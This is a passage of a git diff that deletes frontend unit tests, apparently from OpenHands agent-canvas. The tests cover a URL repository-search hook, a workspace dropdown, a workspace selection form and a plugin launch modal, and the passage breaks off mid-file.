expect(mockSearchGitRepositories).not.toHaveBeenCalled(); - expect(result.current.urlSearchResults).toEqual([]); - expect(result.current.isUrlSearchLoading).toBe(false); - }); - - it("should clear results when provider becomes null", async () => { - mockSearchGitRepositories.mockResolvedValue({ - items: [ - { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true }, - ], - next_page_id: null, - }); - - type TestProps = { inputValue: string; provider: "github" | null }; - - const { result, rerender } = renderHook( - ({ inputValue, provider }: TestProps) => useUrlSearch(inputValue, provider), - { - initialProps: { - inputValue: "https://github.com/owner/repo", - provider: "github", - } as TestProps, - }, - ); - - // Wait for initial search to complete - await waitFor(() => { - expect(result.current.urlSearchResults).toHaveLength(1); - }); - - // Change provider to null - rerender({ - inputValue: "https://github.com/owner/repo", - provider: null, - }); - - // Results should be cleared - await waitFor(() => { - expect(result.current.urlSearchResults).toEqual([]); - }); - }); - }); - - describe("URL search behavior", () => { - it("should call GitService when input is a valid URL and provider is set", async () => { - mockSearchGitRepositories.mockResolvedValue({ - items: [ - { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true }, - ], - next_page_id: null, - }); - - const { result } = renderHook(() => - useUrlSearch("https://github.com/owner/repo", "github"), - ); - - await waitFor(() => { - expect(mockSearchGitRepositories).toHaveBeenCalledWith( - "owner/repo", - "github", - 3, - ); - }); - - await waitFor(() => { - expect(result.current.urlSearchResults).toHaveLength(1); - expect(result.current.urlSearchResults[0].full_name).toBe("owner/repo"); - }); - }); - - it("should not call GitService when input is not a URL", async () => { - const { result } = renderHook(() => - useUrlSearch("some search query", "github"), - ); - - // Wait a tick for the effect to run - await act(async () => { - await new Promise((resolve) => { - setTimeout(resolve, 10); - }); - }); - - expect(mockSearchGitRepositories).not.toHaveBeenCalled(); - expect(result.current.urlSearchResults).toEqual([]); - }); - - it("should not call GitService when URL does not match repo pattern", async () => { - const { result } = renderHook(() => - useUrlSearch("https://github.com/", "github"), - ); - - // Wait a tick for the effect to run - await act(async () => { - await new Promise((resolve) => { - setTimeout(resolve, 10); - }); - }); - - expect(mockSearchGitRepositories).not.toHaveBeenCalled(); - expect(result.current.urlSearchResults).toEqual([]); - }); - - it("should handle API errors gracefully", async () => { - mockSearchGitRepositories.mockRejectedValue(new Error("API Error")); - - const { result } = renderHook(() => - useUrlSearch("https://github.com/owner/repo", "github"), - ); - - await waitFor(() => { - expect(mockSearchGitRepositories).toHaveBeenCalled(); - }); - - // Should return empty results on error - await waitFor(() => { - expect(result.current.urlSearchResults).toEqual([]); - expect(result.current.isUrlSearchLoading).toBe(false); - }); - }); - - it("should set loading state correctly during search", async () => { - let resolveSearch: (value: unknown) => void; - const searchPromise = new Promise((resolve) => { - resolveSearch = resolve; - }); - - mockSearchGitRepositories.mockReturnValue(searchPromise as Promise<{ - items: []; - next_page_id: null; - }>); - - const { result } = renderHook(() => - useUrlSearch("https://github.com/owner/repo", "github"), - ); - - // Should be loading - await waitFor(() => { - expect(result.current.isUrlSearchLoading).toBe(true); - }); - - // Resolve the search - await act(async () => { - resolveSearch!({ items: [], next_page_id: null }); - }); - - // Should no longer be loading - await waitFor(() => { - expect(result.current.isUrlSearchLoading).toBe(false); - }); - }); - }); - - describe("clear results on non-URL input", () => { - it("should clear results when input changes from URL to non-URL", async () => { - mockSearchGitRepositories.mockResolvedValue({ - items: [ - { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true }, - ], - next_page_id: null, - }); - - const { result, rerender } = renderHook( - ({ inputValue, provider }) => useUrlSearch(inputValue, provider), - { - initialProps: { - inputValue: "https://github.com/owner/repo", - provider: "github" as const, - }, - }, - ); - - // Wait for initial search to complete - await waitFor(() => { - expect(result.current.urlSearchResults).toHaveLength(1); - }); - - // Change to non-URL input - rerender({ - inputValue: "some search", - provider: "github" as const, - }); - - // Results should be cleared - await waitFor(() => { - expect(result.current.urlSearchResults).toEqual([]); - }); - }); - }); -}); diff --git a/__tests__/components/features/home/workspace-dropdown.test.tsx b/__tests__/components/features/home/workspace-dropdown.test.tsx deleted file mode 100644 index 9e2b0fb0c..000000000 --- a/__tests__/components/features/home/workspace-dropdown.test.tsx +++ /dev/null @@ -1,264 +0,0 @@ -import type { ComponentProps } from "react"; -import { render, screen, within } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; - -import { WorkspaceDropdown } from "../../../../src/components/features/home/workspace-dropdown/workspace-dropdown"; -import type { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -// Two parents whose NAMES deliberately differ from their path basenames, so a -// passing assertion proves the header uses the parent name (not basename-of-path). -const PARENTS: LocalWorkspaceParent[] = [ - { id: "p1", name: "Projects", path: "/projects" }, - { id: "p2", name: "My Work", path: "/work" }, -]; - -const GROUPED_WORKSPACES: LocalWorkspace[] = [ - { - id: "/projects/alpha", - name: "alpha", - path: "/projects/alpha", - parentPath: "/projects", - }, - { id: "/work/beta", name: "beta", path: "/work/beta", parentPath: "/work" }, - { - id: "/projects/gamma", - name: "gamma", - path: "/projects/gamma", - parentPath: "/projects", - }, -]; - -function renderDropdown( - props: Partial> = {}, -) { - const onChange = vi.fn(); - render( - , - ); - return { onChange }; -} - -async function openMenu(user: ReturnType) { - const input = screen.getByTestId("workspace-dropdown"); - await user.click(input); - return screen.findByTestId("workspace-dropdown-menu"); -} - -describe("WorkspaceDropdown grouping (#129)", () => { - it("renders a header with the parent's NAME (not the path basename) per group", async () => { - const user = userEvent.setup(); - renderDropdown(); - const menu = await openMenu(user); - - const headers = within(menu).getAllByTestId("workspace-group-header"); - const headerText = headers.map((h) => h.textContent); - expect(headerText).toContain("Projects"); // not "projects" - expect(headerText).toContain("My Work"); // not "work" - }); - - it("groups every folder under its parent and shows all folders", async () => { - const user = userEvent.setup(); - renderDropdown(); - const menu = await openMenu(user); - - expect(within(menu).getByText("alpha")).toBeInTheDocument(); - expect(within(menu).getByText("beta")).toBeInTheDocument(); - expect(within(menu).getByText("gamma")).toBeInTheDocument(); - // alpha and gamma (both /projects) render contiguously, before beta's group - // boundary is crossed — exactly one header per distinct parent. - expect(within(menu).getAllByTestId("workspace-group-header")).toHaveLength( - 2, - ); - }); - - it("keyboard navigation skips headers: ArrowDown+Enter selects a real folder", async () => { - const user = userEvent.setup(); - const { onChange } = renderDropdown(); - await openMenu(user); - - await user.keyboard("{ArrowDown}{Enter}"); - - // A header must never be selectable; the first highlight lands on a workspace. - expect(onChange).toHaveBeenCalledTimes(1); - const selected = onChange.mock.calls[0][0] as LocalWorkspace | null; - expect(selected).not.toBeNull(); - expect(GROUPED_WORKSPACES.map((w) => w.id)).toContain(selected?.id); - }); - - it("does NOT render headers when there is only one group (flat fallback)", async () => { - const user = userEvent.setup(); - renderDropdown({ - workspaces: [ - { - id: "/projects/alpha", - name: "alpha", - path: "/projects/alpha", - parentPath: "/projects", - }, - { - id: "/projects/gamma", - name: "gamma", - path: "/projects/gamma", - parentPath: "/projects", - }, - ], - }); - const menu = await openMenu(user); - - expect(within(menu).queryByTestId("workspace-group-header")).toBeNull(); - expect(within(menu).getByText("alpha")).toBeInTheDocument(); - expect(within(menu).getByText("gamma")).toBeInTheDocument(); - }); - - it("groups static (no-parent) workspaces under their own header", async () => { - const user = userEvent.setup(); - renderDropdown({ - workspaces: [ - { - id: "/projects/alpha", - name: "alpha", - path: "/projects/alpha", - parentPath: "/projects", - }, - { id: "/standalone", name: "standalone", path: "/standalone" }, // no parentPath - ], - }); - const menu = await openMenu(user); - - const headers = within(menu).getAllByTestId("workspace-group-header"); - // one header for the named parent, one for the static group - expect(headers).toHaveLength(2); - expect(within(menu).getByText("Projects")).toBeInTheDocument(); - expect(within(menu).getByText("standalone")).toBeInTheDocument(); - }); - - it("labels the static group with the HOME$WORKSPACE_GROUP_OTHER i18n key", async () => { - const user = userEvent.setup(); - renderDropdown({ - workspaces: [ - { - id: "/projects/alpha", - name: "alpha", - path: "/projects/alpha", - parentPath: "/projects", - }, - { id: "/standalone", name: "standalone", path: "/standalone" }, - ], - }); - const menu = await openMenu(user); - - // `t` is mocked to echo the key, so this pins the i18n wiring. - expect( - within(menu).getByText("HOME$WORKSPACE_GROUP_OTHER"), - ).toBeInTheDocument(); - }); - - it("renders the static 'Other' group last, even when a standalone appears first", async () => { - const user = userEvent.setup(); - renderDropdown({ - workspaces: [ - { id: "/loose", name: "loose", path: "/loose" }, // standalone, appears FIRST - { - id: "/work/beta", - name: "beta", - path: "/work/beta", - parentPath: "/work", - }, - ], - parents: [{ id: "p2", name: "My Work", path: "/work" }], - }); - const menu = await openMenu(user); - - const headerText = within(menu) - .getAllByTestId("workspace-group-header") - .map((h) => h.textContent); - expect(headerText).toEqual(["My Work", "HOME$WORKSPACE_GROUP_OTHER"]); - }); - - it("falls back to the path basename when a folder's parent is absent from `parents`", async () => { - const user = userEvent.setup(); - renderDropdown({ - workspaces: [ - { - id: "/work/beta", - name: "beta", - path: "/work/beta", - parentPath: "/work", - }, - { - id: "/unknown/x", - name: "x", - path: "/unknown/x", - parentPath: "/unknown", - }, - ], - parents: [{ id: "p2", name: "My Work", path: "/work" }], // /unknown intentionally absent - }); - const menu = await openMenu(user); - - const headerText = within(menu) - .getAllByTestId("workspace-group-header") - .map((h) => h.textContent); - expect(headerText).toContain("My Work"); - expect(headerText).toContain("unknown"); // basename of /unknown - }); - - it("folds the group label into each option's accessible name (a11y)", async () => { - const user = userEvent.setup(); - renderDropdown(); - const menu = await openMenu(user); - - // The visual header is presentational; the group lives in each option's name. - expect( - within(menu).getByRole("option", { name: "Projects, alpha" }), - ).toBeInTheDocument(); - expect( - within(menu).getByRole("option", { name: "My Work, beta" }), - ).toBeInTheDocument(); - }); - - it("stays flat (no headers) for an all-standalone list with no parents", async () => { - const user = userEvent.setup(); - renderDropdown({ - parents: undefined, // exercises the single STATIC_GROUP_KEY group path - workspaces: [ - { id: "/a", name: "a", path: "/a" }, - { id: "/b", name: "b", path: "/b" }, - ], - }); - const menu = await openMenu(user); - - expect(within(menu).queryByTestId("workspace-group-header")).toBeNull(); - expect(within(menu).getByText("a")).toBeInTheDocument(); - expect(within(menu).getByText("b")).toBeInTheDocument(); - }); - - it("does not set an aria-label on options in flat (ungrouped) mode", async () => { - const user = userEvent.setup(); - renderDropdown({ - parents: undefined, - workspaces: [ - { id: "/a", name: "a", path: "/a" }, - { id: "/b", name: "b", path: "/b" }, - ], - }); - const menu = await openMenu(user); - - // No grouping → the option's accessible name is just its display text. - const option = within(menu).getByRole("option", { name: "a" }); - expect(option).not.toHaveAttribute("aria-label"); - }); -}); diff --git a/__tests__/components/features/home/workspace-selection-form.test.tsx b/__tests__/components/features/home/workspace-selection-form.test.tsx deleted file mode 100644 index 21b527417..000000000 --- a/__tests__/components/features/home/workspace-selection-form.test.tsx +++ /dev/null @@ -1,654 +0,0 @@ -import { - fireEvent, - render, - screen, - waitFor, - within, -} from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, vi, beforeEach, it } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { - HOME_SELECTED_WORKSPACE_PATH_KEY, - WorkspaceSelectionForm, -} from "../../../../src/components/features/home/workspace-selection-form"; -import { WorkspaceDropdown } from "../../../../src/components/features/home/workspace-dropdown/workspace-dropdown"; -import WorkspacesService from "#/api/workspaces-service/workspaces-service.api"; -import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace"; - -const mockNavigate = vi.fn(); -const mockUseIsCreatingConversation = vi.fn(); - -const { mockSearchSubdirectories, mockGetHome } = vi.hoisted(() => ({ - mockSearchSubdirectories: vi.fn(), - mockGetHome: vi.fn(), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ - currentPath: "/", - conversationId: null, - isNavigating: false, - navigate: mockNavigate, - }), -})); - -vi.mock("#/hooks/use-is-creating-conversation", () => ({ - useIsCreatingConversation: () => mockUseIsCreatingConversation(), -})); - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackConversationCreated: vi.fn(), - trackLoginButtonClick: vi.fn(), - }), -})); - -vi.mock("@openhands/typescript-client/clients", async () => { - const actual = await vi.importActual< - typeof import("@openhands/typescript-client/clients") - >("@openhands/typescript-client/clients"); - return { - ...actual, - FileClient: vi.fn(function FileClientMock() { - return { - searchSubdirectories: mockSearchSubdirectories, - getHome: mockGetHome, - }; - }), - }; -}); - -mockUseIsCreatingConversation.mockReturnValue(false); - -function renderForm({ - workspaces = [], - workspaceParents = [], -}: { - workspaces?: LocalWorkspace[]; - workspaceParents?: LocalWorkspaceParent[]; -} = {}) { - vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({ - workspaces, - workspaceParents, - }); - return render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -} - -async function openWorkspaceDropdown(user: ReturnType) { - const dropdown = await screen.findByTestId("workspace-dropdown"); - await waitFor(() => expect(dropdown).not.toBeDisabled()); - await user.click(dropdown); - return screen.findByTestId("workspace-dropdown-menu"); -} - -describe("WorkspaceDropdown", () => { - it.each([ - { - testId: "add-workspaces-button", - expectedCallback: "add", - }, - { - testId: "manage-workspaces-button", - expectedCallback: "manage", - }, - ])( - "opens $expectedCallback workspace action from touch without bubbling", - async ({ testId, expectedCallback }) => { - const outsideTouchEnd = vi.fn(); - const onAddClick = vi.fn(); - const onManageClick = vi.fn(); - const user = userEvent.setup(); - - render( -
- -
, - ); - - await user.click(await screen.findByTestId("workspace-dropdown")); - const action = await screen.findByTestId(testId); - - fireEvent.touchStart(action); - fireEvent.touchEnd(action); - - expect(outsideTouchEnd).not.toHaveBeenCalled(); - expect(onAddClick).toHaveBeenCalledTimes( - expectedCallback === "add" ? 1 : 0, - ); - expect(onManageClick).toHaveBeenCalledTimes( - expectedCallback === "manage" ? 1 : 0, - ); - }, - ); -}); - -describe("WorkspaceSelectionForm (server-backed workspaces)", () => { - beforeEach(() => { - vi.restoreAllMocks(); - mockNavigate.mockReset(); - mockSearchSubdirectories.mockReset(); - mockGetHome.mockReset(); - window.sessionStorage.clear(); - mockUseIsCreatingConversation.mockReturnValue(false); - mockGetHome.mockResolvedValue({ home: "/Users/me" }); - // useResolvedWorkspaces always queries an implicit `/projects` parent in - // dev mode — return empty so it doesn't influence tests that don't care. - mockSearchSubdirectories.mockResolvedValue({ - items: [], - next_page_id: null, - }); - }); - - it("renders the default empty selection when no workspace path is persisted", async () => { - renderForm({ - workspaces: [ - { - id: "/Users/me/dev/repo1", - name: "repo1", - path: "/Users/me/dev/repo1", - }, - ], - }); - - const dropdown = await screen.findByTestId("workspace-dropdown"); - await waitFor(() => expect(dropdown).not.toBeDisabled()); - - expect(dropdown).toHaveValue(""); - expect(screen.getByTestId("workspace-launch-button")).toBeDisabled(); - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBeNull(); - }); - - it("renders workspaces returned by the agent-server in the dropdown", async () => { - // Arrange - renderForm({ - workspaces: [ - { - id: "/Users/me/dev/repo1", - name: "repo1", - path: "/Users/me/dev/repo1", - }, - ], - }); - const user = userEvent.setup(); - - // Act - const menu = await openWorkspaceDropdown(user); - - // Assert - expect(await within(menu).findByText("repo1")).toBeInTheDocument(); - }); - - it("renders parent-derived workspaces from all paginated folders", async () => { - const workspaceParent = { - id: "/Users/me/dev", - name: "dev", - path: "/Users/me/dev", - }; - mockSearchSubdirectories.mockImplementation( - async (path: string, options?: { pageId?: string | null }) => { - if (path === workspaceParent.path && !options?.pageId) { - return { - items: [{ name: "alpha", path: "/Users/me/dev/alpha" }], - next_page_id: "page-2", - }; - } - if (path === workspaceParent.path && options?.pageId === "page-2") { - return { - items: [{ name: "paper", path: "/Users/me/dev/paper" }], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }, - ); - renderForm({ workspaceParents: [workspaceParent] }); - const user = userEvent.setup(); - - const menu = await openWorkspaceDropdown(user); - - expect(await within(menu).findByText("alpha")).toBeInTheDocument(); - expect(await within(menu).findByText("paper")).toBeInTheDocument(); - expect(mockSearchSubdirectories).toHaveBeenCalledWith( - workspaceParent.path, - undefined, - ); - expect(mockSearchSubdirectories).toHaveBeenCalledWith( - workspaceParent.path, - { - pageId: "page-2", - }, - ); - }); - - it("restores the selected workspace after unmounting and remounting", async () => { - const workspace = { - id: "/Users/me/dev/repo1", - name: "repo1", - path: "/Users/me/dev/repo1", - }; - const user = userEvent.setup(); - - const { unmount } = renderForm({ workspaces: [workspace] }); - const firstMenu = await openWorkspaceDropdown(user); - await user.click(await within(firstMenu).findByText("repo1")); - - await waitFor(() => - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBe(workspace.path), - ); - expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled(); - - unmount(); - renderForm({ workspaces: [workspace] }); - - await waitFor(() => - expect(screen.getByTestId("workspace-dropdown")).toHaveValue("repo1"), - ); - expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled(); - }); - - it("clears a persisted workspace path that is no longer resolved", async () => { - window.sessionStorage.setItem( - HOME_SELECTED_WORKSPACE_PATH_KEY, - "/Users/me/dev/missing", - ); - - renderForm({ - workspaces: [ - { - id: "/Users/me/dev/repo1", - name: "repo1", - path: "/Users/me/dev/repo1", - }, - ], - }); - - await waitFor(() => - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBeNull(), - ); - expect(screen.getByTestId("workspace-dropdown")).toHaveValue(""); - expect(screen.getByTestId("workspace-launch-button")).toBeDisabled(); - }); - - it("shows a version-specific workspace message for old agent servers", async () => { - vi.spyOn(WorkspacesService, "listWorkspaces").mockRejectedValue({ - code: "AGENT_SERVER_VERSION_TOO_OLD", - feature: "workspaces", - requiredVersion: "1.23.0", - actualVersion: "1.22.1", - }); - - render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); - - await waitFor(() => - expect(screen.getByTestId("workspace-dropdown")).toBeDisabled(), - ); - await waitFor(() => - expect(screen.getByTestId("workspace-dropdown")).toHaveAttribute( - "placeholder", - "HOME$WORKSPACES_UNSUPPORTED_PLACEHOLDER", - ), - ); - expect(screen.getByTestId("workspace-status-message")).toHaveTextContent( - "HOME$WORKSPACES_UNSUPPORTED_AGENT_SERVER", - ); - }); - - it("Add Workspace dispatches addWorkspaces to the agent-server", async () => { - // Arrange - const addSpy = vi - .spyOn(WorkspacesService, "addWorkspaces") - .mockResolvedValue({ workspaces: [], workspaceParents: [] }); - mockSearchSubdirectories.mockImplementation(async (path: string) => { - if (path === "/Users/me") { - return { - items: [{ name: "dev", path: "/Users/me/dev" }], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }); - renderForm(); - const user = userEvent.setup(); - - // Act - await user.click(await screen.findByTestId("workspace-dropdown")); - await user.click(await screen.findByTestId("add-workspaces-button")); - await screen.findByTestId("folder-browser-modal"); - await user.click(await screen.findByTestId("folder-browser-entry-dev")); - await user.click(screen.getByTestId("folder-browser-use")); - - // Assert - await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1)); - expect(addSpy).toHaveBeenCalledWith([ - { id: "/Users/me/dev", name: "dev", path: "/Users/me/dev" }, - ]); - }); - - it("shows all paginated folders in the Add Workspace browser", async () => { - mockSearchSubdirectories.mockImplementation( - async (path: string, options?: { pageId?: string | null }) => { - if (path === "/Users/me" && !options?.pageId) { - return { - items: [{ name: "alpha", path: "/Users/me/alpha" }], - next_page_id: "page-2", - }; - } - if (path === "/Users/me" && options?.pageId === "page-2") { - return { - items: [ - { name: "paper", path: "/Users/me/paper" }, - { name: "zeta", path: "/Users/me/zeta" }, - ], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }, - ); - renderForm(); - const user = userEvent.setup(); - - await user.click(await screen.findByTestId("workspace-dropdown")); - await user.click(await screen.findByTestId("add-workspaces-button")); - await screen.findByTestId("folder-browser-modal"); - - expect( - await screen.findByTestId("folder-browser-entry-alpha"), - ).toBeVisible(); - expect( - await screen.findByTestId("folder-browser-entry-paper"), - ).toBeVisible(); - expect( - await screen.findByTestId("folder-browser-entry-zeta"), - ).toBeVisible(); - expect(mockSearchSubdirectories).toHaveBeenCalledWith( - "/Users/me", - undefined, - ); - expect(mockSearchSubdirectories).toHaveBeenCalledWith("/Users/me", { - pageId: "page-2", - }); - }); - - it("handles Windows paths when browsing and adding a workspace", async () => { - const homePath = String.raw`C:\Users\me`; - const devPath = String.raw`C:\Users\me\dev`; - const addSpy = vi - .spyOn(WorkspacesService, "addWorkspaces") - .mockResolvedValue({ workspaces: [], workspaceParents: [] }); - mockGetHome.mockResolvedValue({ home: homePath }); - mockSearchSubdirectories.mockImplementation(async (dir: string) => { - if (dir === homePath) { - return { - items: [{ name: "dev", path: devPath }], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }); - renderForm(); - const user = userEvent.setup(); - - await user.click(await screen.findByTestId("workspace-dropdown")); - await user.click(await screen.findByTestId("add-workspaces-button")); - await screen.findByTestId("folder-browser-modal"); - await expect( - screen.getByTestId("folder-browser-current-path"), - ).toHaveTextContent(homePath); - - await user.click(await screen.findByTestId("folder-browser-entry-dev")); - await expect( - screen.getByTestId("folder-browser-current-path"), - ).toHaveTextContent(devPath); - - await user.click(screen.getByTestId("folder-browser-up")); - await expect( - screen.getByTestId("folder-browser-current-path"), - ).toHaveTextContent(homePath); - - await user.click(await screen.findByTestId("folder-browser-entry-dev")); - await user.click(screen.getByTestId("folder-browser-use")); - - await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1)); - expect(addSpy).toHaveBeenCalledWith([ - { id: devPath, name: "dev", path: devPath }, - ]); - }); - - it("auto-selects the newly added workspace after Add Workspace", async () => { - // Arrange: start with another workspace already selected, mirroring the - // repro in OpenHands/agent-canvas#1212. - const existingWorkspace = { - id: "/Users/me/dev/repo1", - name: "repo1", - path: "/Users/me/dev/repo1", - }; - const addedWorkspace = { - id: "/Users/me/dev", - name: "dev", - path: "/Users/me/dev", - }; - const addSpy = vi - .spyOn(WorkspacesService, "addWorkspaces") - .mockImplementation(async (items) => { - // Mimic the server: once added, the list endpoint includes the new - // workspace so the post-add refetch resolves it. - const workspaces = [existingWorkspace, ...items]; - vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({ - workspaces, - workspaceParents: [], - }); - return { workspaces, workspaceParents: [] }; - }); - mockSearchSubdirectories.mockImplementation(async (path: string) => { - if (path === "/Users/me") { - return { - items: [{ name: "dev", path: "/Users/me/dev" }], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }); - renderForm({ workspaces: [existingWorkspace] }); - const user = userEvent.setup(); - - const selectionMenu = await openWorkspaceDropdown(user); - await user.click(await within(selectionMenu).findByText("repo1")); - await waitFor(() => - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBe(existingWorkspace.path), - ); - - // Act - await openWorkspaceDropdown(user); - await user.click(await screen.findByTestId("add-workspaces-button")); - await screen.findByTestId("folder-browser-modal"); - await user.click(await screen.findByTestId("folder-browser-entry-dev")); - await user.click(screen.getByTestId("folder-browser-use")); - - // Assert - await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1)); - await waitFor(() => - expect(screen.getByTestId("workspace-dropdown")).toHaveValue( - addedWorkspace.name, - ), - ); - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBe(addedWorkspace.path); - expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled(); - }); - - it("Remove Workspace dispatches removeWorkspace and clears the selected workspace", async () => { - // Arrange - const removeSpy = vi - .spyOn(WorkspacesService, "removeWorkspace") - .mockResolvedValue(); - const workspace = { - id: "/Users/me/dev/repo1", - name: "repo1", - path: "/Users/me/dev/repo1", - }; - renderForm({ - workspaces: [workspace], - }); - const user = userEvent.setup(); - - // Act - const selectionMenu = await openWorkspaceDropdown(user); - await user.click(await within(selectionMenu).findByText("repo1")); - await waitFor(() => - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBe(workspace.path), - ); - - await openWorkspaceDropdown(user); - await user.click(await screen.findByTestId("manage-workspaces-button")); - await screen.findByTestId("manage-workspaces-modal"); - await user.click(screen.getByTestId("manage-workspaces-remove-repo1")); - await screen.findByTestId("confirmation-modal"); - await user.click(screen.getByTestId("confirm-button")); - - // Assert - await waitFor(() => expect(removeSpy).toHaveBeenCalledTimes(1)); - expect(removeSpy).toHaveBeenCalledWith("/Users/me/dev/repo1"); - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBeNull(); - expect(screen.getByTestId("workspace-dropdown")).toHaveValue(""); - expect(screen.getByTestId("workspace-launch-button")).toBeDisabled(); - }); - - it("clears the selected parent-derived workspace when its parent is removed", async () => { - const removeParentSpy = vi - .spyOn(WorkspacesService, "removeWorkspaceParent") - .mockResolvedValue(); - const workspaceParent = { - id: "/Users/me/dev", - name: "dev", - path: "/Users/me/dev", - }; - const workspacePath = "/Users/me/dev/repo1"; - mockSearchSubdirectories.mockImplementation(async (path: string) => { - if (path === workspaceParent.path) { - return { - items: [{ name: "repo1", path: workspacePath }], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }); - renderForm({ workspaceParents: [workspaceParent] }); - const user = userEvent.setup(); - - const selectionMenu = await openWorkspaceDropdown(user); - await user.click(await within(selectionMenu).findByText("repo1")); - await waitFor(() => - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBe(workspacePath), - ); - - await openWorkspaceDropdown(user); - await user.click(await screen.findByTestId("manage-workspaces-button")); - await screen.findByTestId("manage-workspaces-modal"); - await user.click(screen.getByTestId("manage-workspaces-remove-parent-dev")); - await screen.findByTestId("confirmation-modal"); - await user.click(screen.getByTestId("confirm-button")); - - await waitFor(() => expect(removeParentSpy).toHaveBeenCalledTimes(1)); - expect(removeParentSpy).toHaveBeenCalledWith(workspaceParent.path); - expect( - window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY), - ).toBeNull(); - expect(screen.getByTestId("workspace-dropdown")).toHaveValue(""); - expect(screen.getByTestId("workspace-launch-button")).toBeDisabled(); - }); - - it("Add all subdirectories dispatches addWorkspaceParents to the agent-server", async () => { - // Arrange - const addParentsSpy = vi - .spyOn(WorkspacesService, "addWorkspaceParents") - .mockResolvedValue({ workspaces: [], workspaceParents: [] }); - mockSearchSubdirectories.mockImplementation(async (path: string) => { - if (path === "/Users/me") { - return { - items: [{ name: "dev", path: "/Users/me/dev" }], - next_page_id: null, - }; - } - return { items: [], next_page_id: null }; - }); - renderForm(); - const user = userEvent.setup(); - - // Act - await user.click(await screen.findByTestId("workspace-dropdown")); - await user.click(await screen.findByTestId("add-workspaces-button")); - await screen.findByTestId("folder-browser-modal"); - await user.click(await screen.findByTestId("folder-browser-entry-dev")); - await user.click(screen.getByTestId("folder-browser-add-all-subdirs")); - - // Assert - await waitFor(() => expect(addParentsSpy).toHaveBeenCalledTimes(1)); - expect(addParentsSpy).toHaveBeenCalledWith([ - { id: "/Users/me/dev", name: "dev", path: "/Users/me/dev" }, - ]); - }); -}); diff --git a/__tests__/components/features/launch/plugin-launch-modal.test.tsx b/__tests__/components/features/launch/plugin-launch-modal.test.tsx deleted file mode 100644 index 8b78617fd..000000000 --- a/__tests__/components/features/launch/plugin-launch-modal.test.tsx +++ /dev/null @@ -1,426 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { PluginLaunchModal } from "#/components/features/launch/plugin-launch-modal"; -import { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types"; - -const mockOnStartConversation = vi.fn(); -const mockOnClose = vi.fn(); - -function renderModal( - plugins: PluginSpec[], - props: Partial<{ - message: string; - isLoading: boolean; - }> = {}, -) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - - return render( - - - , - ); -} - -describe("PluginLaunchModal", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - describe("Plugin Display Name Extraction", () => { - it("should extract plugin name from repo_path when provided", () => { - renderModal([{ source: "github:owner/repo", repo_path: "plugins/my-plugin" }]); - - // Plugin name should be "my-plugin" from the path - expect(screen.getByText("my-plugin")).toBeInTheDocument(); - }); - - it("should show repo path when no repo_path (repo IS the plugin)", () => { - renderModal([{ source: "github:owner/my-plugin" }]); - - // When no repo_path, the whole repo is the plugin, show "owner/my-plugin" - const elements = screen.getAllByText("owner/my-plugin"); - expect(elements.length).toBeGreaterThan(0); - }); - - it("should extract name from git URL", () => { - renderModal([ - { source: "https://github.com/owner/repo-name.git" }, - ]); - - const elements = screen.getAllByText("repo-name"); - expect(elements.length).toBeGreaterThan(0); - }); - - it("should display full source when no special format", () => { - renderModal([{ source: "local-plugin" }]); - - const elements = screen.getAllByText("local-plugin"); - expect(elements.length).toBeGreaterThan(0); - }); - }); - - describe("Modal Title", () => { - it("should show plugin name in title for single plugin", () => { - renderModal([{ source: "github:owner/awesome-plugin" }]); - - // Title should include the plugin name - use getAllBy since text appears in multiple places - const elements = screen.getAllByText(/owner\/awesome-plugin/); - expect(elements.length).toBeGreaterThan(0); - }); - - it("should show generic title for multiple plugins", () => { - renderModal([ - { source: "github:owner/plugin1" }, - { source: "github:owner/plugin2" }, - ]); - - // The h2 title contains both LAUNCH$MODAL_TITLE and 